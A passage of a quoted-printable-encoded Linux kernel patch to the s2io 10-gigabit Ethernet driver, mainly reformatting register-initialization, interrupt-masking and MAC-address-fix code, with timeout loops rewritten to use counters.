val64);=0A= - #endif=0A= +#ifndef XENA_ARCH_64=0A= + DBG_PRINT(INIT_DBG, "Fifo partition at: 0x%p is: 0x%llx\n",=0A= + &bar0->tx_fifo_partition_0, val64);=0A= +#else=0A= + DBG_PRINT(INIT_DBG, "Fifo partition at: 0x%p is: 0x%lx\n",=0A= + &bar0->tx_fifo_partition_0, val64);=0A= +#endif=0A= =0A= /* Initialization of Tx_PA_CONFIG register to ignore packet integrity =0A= * checking.=0A= */=0A= val64 =3D read64(&bar0->tx_pa_cfg);=0A= - val64 |=3D TX_PA_CFG_IGNORE_FRM_ERR | TX_PA_CFG_IGNORE_SNAP_OUI | =0A= - TX_PA_CFG_IGNORE_LLC_CTRL |TX_PA_CFG_IGNORE_L2_ERR;=0A= + val64 |=3D TX_PA_CFG_IGNORE_FRM_ERR | TX_PA_CFG_IGNORE_SNAP_OUI |=0A= + TX_PA_CFG_IGNORE_LLC_CTRL | TX_PA_CFG_IGNORE_L2_ERR;=0A= write64(&bar0->tx_pa_cfg, val64);=0A= - =0A= +=0A= /* Rx DMA intialization. */=0A= val64 =3D 0;=0A= - for(i=3D0; iconfig.RxRingNum; i++) {=0A= - val64 |=3D vBIT(nic->config.RxCfg[i].RingPriority, (5+(i*8)),3);=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + val64 |=3D=0A= + vBIT(config->RxCfg[i].RingPriority, (5 + (i * 8)),=0A= + 3);=0A= }=0A= write64(&bar0->rx_queue_priority, val64);=0A= =0A= -/* Allocating equal share of memory to all the configured Rings. */ =0A= +/* Allocating equal share of memory to all the configured Rings. */=0A= #if 1=0A= val64 =3D 0;=0A= - for(i=3D0; iconfig.RxRingNum; i++) {=0A= - switch(i) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + switch (i) {=0A= case 0:=0A= - mem_share =3D (64/nic->config.RxRingNum + =0A= - 64 % nic->config.RxRingNum);=0A= + mem_share =3D (64 / config->RxRingNum +=0A= + 64 % config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q0_SZ(mem_share);=0A= continue;=0A= case 1:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q1_SZ(mem_share);=0A= continue;=0A= case 2:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q2_SZ(mem_share);=0A= continue;=0A= case 3:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q3_SZ(mem_share);=0A= continue;=0A= case 4:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q4_SZ(mem_share);=0A= continue;=0A= case 5:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q5_SZ(mem_share);=0A= continue;=0A= case 6:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q6_SZ(mem_share);=0A= continue;=0A= case 7:=0A= - mem_share =3D (64/nic->config.RxRingNum); =0A= + mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q7_SZ(mem_share);=0A= continue;=0A= }=0A= }=0A= val64 =3D RX_QUEUE_CFG_Q0_SZ(64);=0A= write64(&bar0->rx_queue_cfg, val64);=0A= -#else =0A= +#else=0A= val64 =3D RX_QUEUE_CFG_Q0_SZ(64);=0A= write64(&bar0->rx_queue_cfg, val64); /* Setting Q0 with all RLDRAM =0A= * space.=0A= @@ -805,103 +803,111 @@ Feed-back register */=0A= * Tx FIFOs and Rx RINGs. As of now The Rx round robin registers =0A= * will be initlaized with the same values as the Tx counterparts.=0A= * TODO */=0A= - write64(&bar0->rx_w_round_robin_0, round_robin_reg0);=0A= - write64(&bar0->rx_w_round_robin_1, round_robin_reg1);=0A= - write64(&bar0->rx_w_round_robin_2, round_robin_reg2);=0A= - write64(&bar0->rx_w_round_robin_3, round_robin_reg3);=0A= - write64(&bar0->rx_w_round_robin_4, round_robin_reg4);=0A= + write64(&bar0->rx_w_round_robin_0, round_robin_reg0);=0A= + write64(&bar0->rx_w_round_robin_1, round_robin_reg1);=0A= + write64(&bar0->rx_w_round_robin_2, round_robin_reg2);=0A= + write64(&bar0->rx_w_round_robin_3, round_robin_reg3);=0A= + write64(&bar0->rx_w_round_robin_4, round_robin_reg4);=0A= =0A= /* Disable Rx steering. Hard coding all packets be steered to=0A= * Queue 0 for now. =0A= * TODO*/=0A= - if(rx_prio) {=0A= + if (rx_prio) {=0A= u64 def =3D 0x8000000000000000, tmp;=0A= - for(i=3D0;i> (i%nic->config.RxRingNum));=0A= - val64 |=3D (u64)(tmp >> (i*8));=0A= + for (i =3D 0; i < MAX_RX_RINGS; i++) {=0A= + tmp =3D (u64) (def >> (i % config->RxRingNum));=0A= + val64 |=3D (u64) (tmp >> (i * 8));=0A= }=0A= - write64(&bar0->rts_qos_steering, val64);=0A= + write64(&bar0->rts_qos_steering, val64);=0A= } else {=0A= - val64 =3D 0x8080808080808080;=0A= - write64(&bar0->rts_qos_steering, val64);=0A= + val64 =3D 0x8080808080808080;=0A= + write64(&bar0->rts_qos_steering, val64);=0A= }=0A= - =0A= +=0A= /* Disable the device from passing packets with L/T mismatch to the = host.*/=0A= val64 =3D read64(&bar0->rmac_err_cfg);=0A= val64 &=3D ~RMAC_ERR_LEN_MISMATCH;=0A= write64(&bar0->rmac_err_cfg, val64);=0A= - =0A= +=0A= /* UDP Fix */=0A= val64 =3D 0;=0A= - for(i=3D1;i<8;i++)=0A= + for (i =3D 1; i < 8; i++)=0A= write64(&bar0->rts_frm_len_n[i], val64);=0A= =0A= /* Set rts_frm_len register for fifo 0 */=0A= - write64(&bar0->rts_frm_len_n[0], MAC_RTS_FRM_LEN_SET((dev->mtu)+22));=0A= + write64(&bar0->rts_frm_len_n[0],=0A= + MAC_RTS_FRM_LEN_SET((dev->mtu) + 22));=0A= +=0A= + = =0A= =0A= /* Enable statistics */=0A= - write64(&bar0->stat_addr, (u64)nic->mac_control.StatsInfoPhy);=0A= + write64(&bar0->stat_addr, (u64) mac_control->stats_mem_phy);=0A= val64 =3D SET_UPDT_PERIOD(8) | STAT_CFG_STAT_RO | STAT_CFG_STAT_EN;=0A= write64(&bar0->stat_cfg, val64);=0A= =0A= /* Initializing the sampling rate for the device to calculate the=0A= * bandwidth utilization.=0A= */=0A= - val64 =3D MAC_TX_LINK_UTIL_VAL(0x5)|MAC_RX_LINK_UTIL_VAL(0x5);=0A= + val64 =3D MAC_TX_LINK_UTIL_VAL(0x5) | MAC_RX_LINK_UTIL_VAL(0x5);=0A= write64(&bar0->mac_link_util, val64);=0A= =0A= /* Initializing the Transmit and Receive Traffic Interrupt Scheme */=0A= =0A= /* TTI Initialization */=0A= - val64 =3D TTI_DATA1_MEM_TX_TIMER_VAL(0xFFF) | =0A= - TTI_DATA1_MEM_TX_URNG_A(0xA) | TTI_DATA1_MEM_TX_URNG_B(0x10) |=0A= - TTI_DATA1_MEM_TX_URNG_C(0x30) | TTI_DATA1_MEM_TX_TIMER_AC_EN;=0A= + val64 =3D TTI_DATA1_MEM_TX_TIMER_VAL(0xFFF) |=0A= + TTI_DATA1_MEM_TX_URNG_A(0xA) | TTI_DATA1_MEM_TX_URNG_B(0x10) |=0A= + TTI_DATA1_MEM_TX_URNG_C(0x30) | TTI_DATA1_MEM_TX_TIMER_AC_EN;=0A= write64(&bar0->tti_data1_mem, val64);=0A= =0A= - val64 =3D TTI_DATA2_MEM_TX_UFC_A(0x10) | TTI_DATA2_MEM_TX_UFC_B(0x20) |=0A= - TTI_DATA2_MEM_TX_UFC_C(0x40) | TTI_DATA2_MEM_TX_UFC_D(0x80);=0A= + val64 =3D=0A= + TTI_DATA2_MEM_TX_UFC_A(0x10) | TTI_DATA2_MEM_TX_UFC_B(0x20) |=0A= + TTI_DATA2_MEM_TX_UFC_C(0x40) | TTI_DATA2_MEM_TX_UFC_D(0x80);=0A= write64(&bar0->tti_data2_mem, val64);=0A= =0A= val64 =3D TTI_CMD_MEM_WE | TTI_CMD_MEM_STROBE_NEW_CMD;=0A= write64(&bar0->tti_command_mem, val64);=0A= /* Wait for the operation to complete */=0A= - time =3D jiffies;=0A= - while(TRUE) {=0A= + time =3D 0;=0A= + while (TRUE) {=0A= val64 =3D read64(&bar0->tti_command_mem);=0A= - if(!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= + if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= break;=0A= }=0A= - if((jiffies-time) > HZ/2) {=0A= - DBG_PRINT(ERR_DBG,"%s: TTI init Failed\n",dev->name);=0A= + if (time > 50) {=0A= + DBG_PRINT(ERR_DBG, "%s: TTI init Failed\n",=0A= + dev->name);=0A= return -1;=0A= }=0A= mdelay(10);=0A= + time++;=0A= }=0A= =0A= /* RTI Initialization */=0A= - val64 =3D RTI_DATA1_MEM_RX_TIMER_VAL(0xFFF) | =0A= - RTI_DATA1_MEM_RX_URNG_A(0xA) | RTI_DATA1_MEM_RX_URNG_B(0x10) | =0A= - RTI_DATA1_MEM_RX_URNG_C(0x30) | RTI_DATA1_MEM_RX_TIMER_AC_EN;=0A= + val64 =3D RTI_DATA1_MEM_RX_TIMER_VAL(0xFFF) |=0A= + RTI_DATA1_MEM_RX_URNG_A(0xA) | RTI_DATA1_MEM_RX_URNG_B(0x10) |=0A= + RTI_DATA1_MEM_RX_URNG_C(0x30) | RTI_DATA1_MEM_RX_TIMER_AC_EN;=0A= write64(&bar0->rti_data1_mem, val64);=0A= =0A= val64 =3D RTI_DATA2_MEM_RX_UFC_A(0x1) | RTI_DATA2_MEM_RX_UFC_B(0x2) |=0A= - RTI_DATA2_MEM_RX_UFC_C(0x40) | RTI_DATA2_MEM_RX_UFC_D(0x80);=0A= + RTI_DATA2_MEM_RX_UFC_C(0x40) | RTI_DATA2_MEM_RX_UFC_D(0x80);=0A= write64(&bar0->rti_data2_mem, val64);=0A= =0A= val64 =3D RTI_CMD_MEM_WE | RTI_CMD_MEM_STROBE_NEW_CMD;=0A= write64(&bar0->rti_command_mem, val64);=0A= =0A= /* Wait for the operation to complete */=0A= - time =3D jiffies;=0A= - while(TRUE) {=0A= + time =3D 0;=0A= + while (TRUE) {=0A= val64 =3D read64(&bar0->rti_command_mem);=0A= - if(!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= + if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= break;=0A= }=0A= - if((jiffies-time) > HZ/10) {=0A= - DBG_PRINT(ERR_DBG,"%s: RTI init Failed\n",dev->name);=0A= + if (time > 50) {=0A= + DBG_PRINT(ERR_DBG, "%s: RTI init Failed\n",=0A= + dev->name);=0A= return -1;=0A= }=0A= + time++;=0A= mdelay(10);=0A= }=0A= =0A= @@ -912,16 +918,16 @@ Feed-back register */=0A= write64(&bar0->mc_pause_thresh_q4q7, 0xffbbffbbffbbffbb);=0A= =0A= /* Disable RMAC PAD STRIPPING */=0A= - add =3D (void *)&bar0->mac_cfg;=0A= + add =3D (void *) &bar0->mac_cfg;=0A= val64 =3D read64(&bar0->mac_cfg);=0A= val64 &=3D ~(MAC_CFG_RMAC_STRIP_PAD);=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= - writel((u32)(val64), add);=0A= + writel((u32) (val64), add);=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= - writel((u32)(val64 >>32), (add+4));=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= val64 =3D read64(&bar0->mac_cfg);=0A= =0A= -return SUCCESS;=0A= + return SUCCESS;=0A= }=0A= =0A= /* =0A= @@ -938,27 +944,28 @@ return SUCCESS;=0A= */=0A= static void en_dis_able_NicIntrs(struct s2io_nic *nic, u16 mask, int = flag)=0A= {=0A= -XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= -register u64 val64 =3D 0, temp64 =3D 0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64 =3D 0, temp64 =3D 0;=0A= =0A= /* Top level interrupt classification */=0A= /* PIC Interrupts */=0A= - if((mask & (TX_PIC_INTR | RX_PIC_INTR))) {=0A= - /* Enable PIC Intrs in the general intr mask register */=0A= + if ((mask & (TX_PIC_INTR | RX_PIC_INTR))) {=0A= + /* Enable PIC Intrs in the general intr mask register */=0A= val64 =3D TXPIC_INT_M | PIC_RX_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* Disabled all PCIX, Flash, MDIO, IIC and GPIO=0A= - * interrupts for now. =0A= - * TODO */=0A= + /* Disabled all PCIX, Flash, MDIO, IIC and GPIO=0A= + * interrupts for now. =0A= + * TODO */=0A= write64(&bar0->pic_int_mask, DISABLE_ALL_INTRS);=0A= - /* No MSI Support is available presently, so TTI and=0A= - * RTI interrupts are also disabled.=0A= - */=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable PIC Intrs in the general intr mask register */=0A= + /* No MSI Support is available presently, so TTI and=0A= + * RTI interrupts are also disabled.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable PIC Intrs in the general intr mask register =0A= + */=0A= write64(&bar0->pic_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= @@ -968,23 +975,25 @@ register u64 val64 =3D 0, temp64 =3D 0;=0A= =0A= /* DMA Interrupts */=0A= /* Enabling/Disabling Tx DMA interrupts */=0A= - if(mask & TX_DMA_INTR) {=0A= - /* Enable TxDMA Intrs in the general intr mask register */=0A= + if (mask & TX_DMA_INTR) {=0A= + /* Enable TxDMA Intrs in the general intr mask register */=0A= val64 =3D TXDMA_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* Disable all interrupts other than PFC interrupt in DMA =0A= - * level.=0A= - */=0A= + /* Disable all interrupts other than PFC interrupt in =0A= + * DMA level.=0A= + */=0A= val64 =3D DISABLE_ALL_INTRS & (~TXDMA_PFC_INT_M);=0A= write64(&bar0->txdma_int_mask, val64);=0A= - /* Enable only the MISC error 1 interrupt in PFC block */=0A= + /* Enable only the MISC error 1 interrupt in PFC block =0A= + */=0A= val64 =3D DISABLE_ALL_INTRS & (~PFC_MISC_ERR_1);=0A= write64(&bar0->pfc_err_mask, val64);=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable TxDMA Intrs in the general intr mask register */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable TxDMA Intrs in the general intr mask =0A= + * register */=0A= write64(&bar0->txdma_int_mask, DISABLE_ALL_INTRS);=0A= write64(&bar0->pfc_err_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= @@ -994,134 +1003,142 @@ register u64 val64 =3D 0, temp64 =3D 0;=0A= }=0A= =0A= /* Enabling/Disabling Rx DMA interrupts */=0A= - if(mask & RX_DMA_INTR) {=0A= - /* Enable RxDMA Intrs in the general intr mask register */=0A= + if (mask & RX_DMA_INTR) {=0A= + /* Enable RxDMA Intrs in the general intr mask register */=0A= val64 =3D RXDMA_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* All RxDMA block interrupts are disabled for now TODO*/=0A= + /* All RxDMA block interrupts are disabled for now =0A= + * TODO */=0A= write64(&bar0->rxdma_int_mask, DISABLE_ALL_INTRS);=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable RxDMA Intrs in the general intr mask register */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable RxDMA Intrs in the general intr mask =0A= + * register */=0A= write64(&bar0->rxdma_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= - write64(&bar0->general_int_mask,val64);=0A= + write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* MAC Interrupts */=0A= /* Enabling/Disabling MAC interrupts */=0A= - if(mask & (TX_MAC_INTR | RX_MAC_INTR)) {=0A= + if (mask & (TX_MAC_INTR | RX_MAC_INTR)) {=0A= val64 =3D TXMAC_INT_M | RXMAC_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* All MAC block error interrupts are disabled for now except=0A= - * the link status change interrupt.=0A= - * TODO*/=0A= + /* All MAC block error interrupts are disabled for now =0A= + * except the link status change interrupt.=0A= + * TODO*/=0A= val64 =3D MAC_INT_STATUS_RMAC_INT;=0A= temp64 =3D read64(&bar0->mac_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->mac_int_mask, temp64);=0A= =0A= val64 =3D read64(&bar0->mac_rmac_err_mask);=0A= - val64 &=3D ~((u64)RMAC_LINK_STATE_CHANGE_INT);=0A= + val64 &=3D ~((u64) RMAC_LINK_STATE_CHANGE_INT);=0A= write64(&bar0->mac_rmac_err_mask, val64);=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable MAC Intrs in the general intr mask register */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MAC Intrs in the general intr mask register =0A= + */=0A= write64(&bar0->mac_int_mask, DISABLE_ALL_INTRS);=0A= - write64(&bar0->mac_rmac_err_mask, DISABLE_ALL_INTRS);=0A= + write64(&bar0->mac_rmac_err_mask,=0A= + DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= - write64(&bar0->general_int_mask,val64);=0A= + write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* XGXS Interrupts */=0A= - if(mask & (TX_XGXS_INTR | RX_XGXS_INTR)) {=0A= + if (mask & (TX_XGXS_INTR | RX_XGXS_INTR)) {=0A= val64 =3D TXXGXS_INT_M | RXXGXS_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* All XGXS block error interrupts are disabled for now TODO*/=0A= + /* All XGXS block error interrupts are disabled for now=0A= + * TODO */=0A= write64(&bar0->xgxs_int_mask, DISABLE_ALL_INTRS);=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable MC Intrs in the general intr mask register */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MC Intrs in the general intr mask register =0A= + */=0A= write64(&bar0->xgxs_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= - write64(&bar0->general_int_mask,val64);=0A= + write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* Memory Controller(MC) interrupts */=0A= - if(mask & MC_INTR) {=0A= + if (mask & MC_INTR) {=0A= val64 =3D MC_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* All MC block error interrupts are disabled for now TODO*/=0A= + /* All MC block error interrupts are disabled for now=0A= + * TODO */=0A= write64(&bar0->mc_int_mask, DISABLE_ALL_INTRS);=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable MC Intrs in the general intr mask register */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MC Intrs in the general intr mask register=0A= + */=0A= write64(&bar0->mc_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= - write64(&bar0->general_int_mask,val64);=0A= + write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= =0A= /* Tx traffic interrupts */=0A= - if(mask & TX_TRAFFIC_INTR) {=0A= + if (mask & TX_TRAFFIC_INTR) {=0A= val64 =3D TXTRAFFIC_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= - /* Enable all the Tx side interrupts */=0A= + /* Enable all the Tx side interrupts */=0A= write64(&bar0->tx_traffic_mask, 0x0); /* '0' Enables =0A= * all 64 TX =0A= * interrupt =0A= * levels.=0A= */=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable Tx Traffic Intrs in the general intr mask =0A= - * register.=0A= - */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable Tx Traffic Intrs in the general intr mask =0A= + * register.=0A= + */=0A= write64(&bar0->tx_traffic_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= - write64(&bar0->general_int_mask,val64);=0A= + write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* Rx traffic interrupts */=0A= - if(mask &RX_TRAFFIC_INTR){=0A= + if (mask & RX_TRAFFIC_INTR) {=0A= val64 =3D RXTRAFFIC_INT_M;=0A= - if(flag =3D=3D ENABLE_INTRS) {=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= - temp64 &=3D ~((u64)val64);=0A= + temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= write64(&bar0->rx_traffic_mask, 0x0); /* '0' Enables =0A= * all 8 RX =0A= * interrupt =0A= * levels.=0A= */=0A= - } else if(flag =3D=3D DISABLE_INTRS) {=0A= - /* Disable Rx Traffic Intrs in the general intr mask =0A= - * register.=0A= - */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable Rx Traffic Intrs in the general intr mask =0A= + * register.=0A= + */=0A= write64(&bar0->rx_traffic_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= - write64(&bar0->general_int_mask,val64);=0A= + write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= }=0A= @@ -1140,126 +1157,80 @@ register u64 val64 =3D 0, temp64 =3D 0;=0A= static int verify_xena_quiescence(u64 val64, int flag)=0A= {=0A= int ret =3D FALSE;=0A= - u64 tmp64 =3D ~((u64)val64);=0A= + u64 tmp64 =3D ~((u64) val64);=0A= +=0A= + if (!=0A= + (tmp64 &=0A= + (ADAPTER_STATUS_TDMA_READY | ADAPTER_STATUS_RDMA_READY |=0A= + ADAPTER_STATUS_PFC_READY | ADAPTER_STATUS_TMAC_BUF_EMPTY |=0A= + ADAPTER_STATUS_PIC_QUIESCENT | ADAPTER_STATUS_MC_DRAM_READY |=0A= + ADAPTER_STATUS_MC_QUEUES_READY | ADAPTER_STATUS_M_PLL_LOCK |=0A= + ADAPTER_STATUS_P_PLL_LOCK))) {=0A= + if (flag =3D=3D FALSE) {=0A= + if (!(val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= + ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= + ADAPTER_STATUS_RC_PRC_QUIESCENT)) {=0A= =0A= -#if 0=0A= - if(!(tmp64 & (ADAPTER_STATUS_TDMA_READY | ADAPTER_STATUS_RDMA_READY |=0A= - ADAPTER_STATUS_PFC_READY | ADAPTER_STATUS_TMAC_BUF_EMPTY |=0A= - ADAPTER_STATUS_PIC_QUIESCENT | ADAPTER_STATUS_RC_PRC_QUIESCENT |=0A= - APTER_STATUS_MC_DRAM_READY| ADAPTER_STATUS_MC_QUEUES_READY |=0A= - ADAPTER_STATUS_M_PLL_LOCK | ADAPTER_STATUS_P_PLL_LOCK))) {=0A= - if(flag =3D=3D FALSE) {=0A= - if(!(val64 & ADAPTER_STATUS_RMAC_PCC_IDLE)) {=0A= - ret =3D TRUE;=0A= - }=0A= - } else {=0A= - if((val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) =3D=3D =0A= - ADAPTER_STATUS_RMAC_PCC_IDLE) {=0A= - ret =3D TRUE;=0A= - }=0A= - }=0A= - }=0A= -#else=0A= - if(!(tmp64 & (ADAPTER_STATUS_TDMA_READY | ADAPTER_STATUS_RDMA_READY |=0A= - ADAPTER_STATUS_PFC_READY | ADAPTER_STATUS_TMAC_BUF_EMPTY |=0A= - ADAPTER_STATUS_PIC_QUIESCENT | ADAPTER_STATUS_MC_DRAM_READY| =0A= - ADAPTER_STATUS_MC_QUEUES_READY | ADAPTER_STATUS_M_PLL_LOCK | =0A= - ADAPTER_STATUS_P_PLL_LOCK))) {=0A= - if(flag =3D=3D FALSE) {=0A= - if(!(val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) && =0A= - ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT)=3D=3D =0A= - ADAPTER_STATUS_RC_PRC_QUIESCENT)) {=0A= - =0A= ret =3D TRUE;=0A= - =0A= +=0A= }=0A= } else {=0A= - if(((val64 & ADAPTER_STATUS_RMAC_PCC_IDLE)=3D=3D =0A= - ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= - (!(val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) ||=0A= - ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT)=3D=3D =0A= - ADAPTER_STATUS_RC_PRC_QUIESCENT))) {=0A= - =0A= + if (((val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) =3D=3D=0A= + ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= + (!(val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) ||=0A= + ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= + ADAPTER_STATUS_RC_PRC_QUIESCENT))) {=0A= +=0A= ret =3D TRUE;=0A= =0A= }=0A= }=0A= }=0A= -#endif=0A= - =0A= -return ret;=0A= +=0A= + return ret;=0A= }=0A= =0A= /* =0A= * New procedure to clear mac address reading problems on Alpha = platforms=0A= *=0A= */=0A= -void FixMacAddress(nic_t *sp)=0A= +void FixMacAddress(nic_t * sp)=0A= {=0A= + int i;=0A= =0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= =0A= - write64(&bar0->gpio_control,0x0060000000000000);=0A= + write64(&bar0->gpio_control, 0x0060000000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= + write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= =0A= /* Create start condition */=0A= - write64(&bar0->gpio_control,0x0040600000000000); =0A= + write64(&bar0->gpio_control, 0x0040600000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0000600000000000);=0A= + write64(&bar0->gpio_control, 0x0000600000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= + write64(&bar0->gpio_control, 0x0020600000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= + write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= =0A= /* Scan 9 consecutives ones */=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - 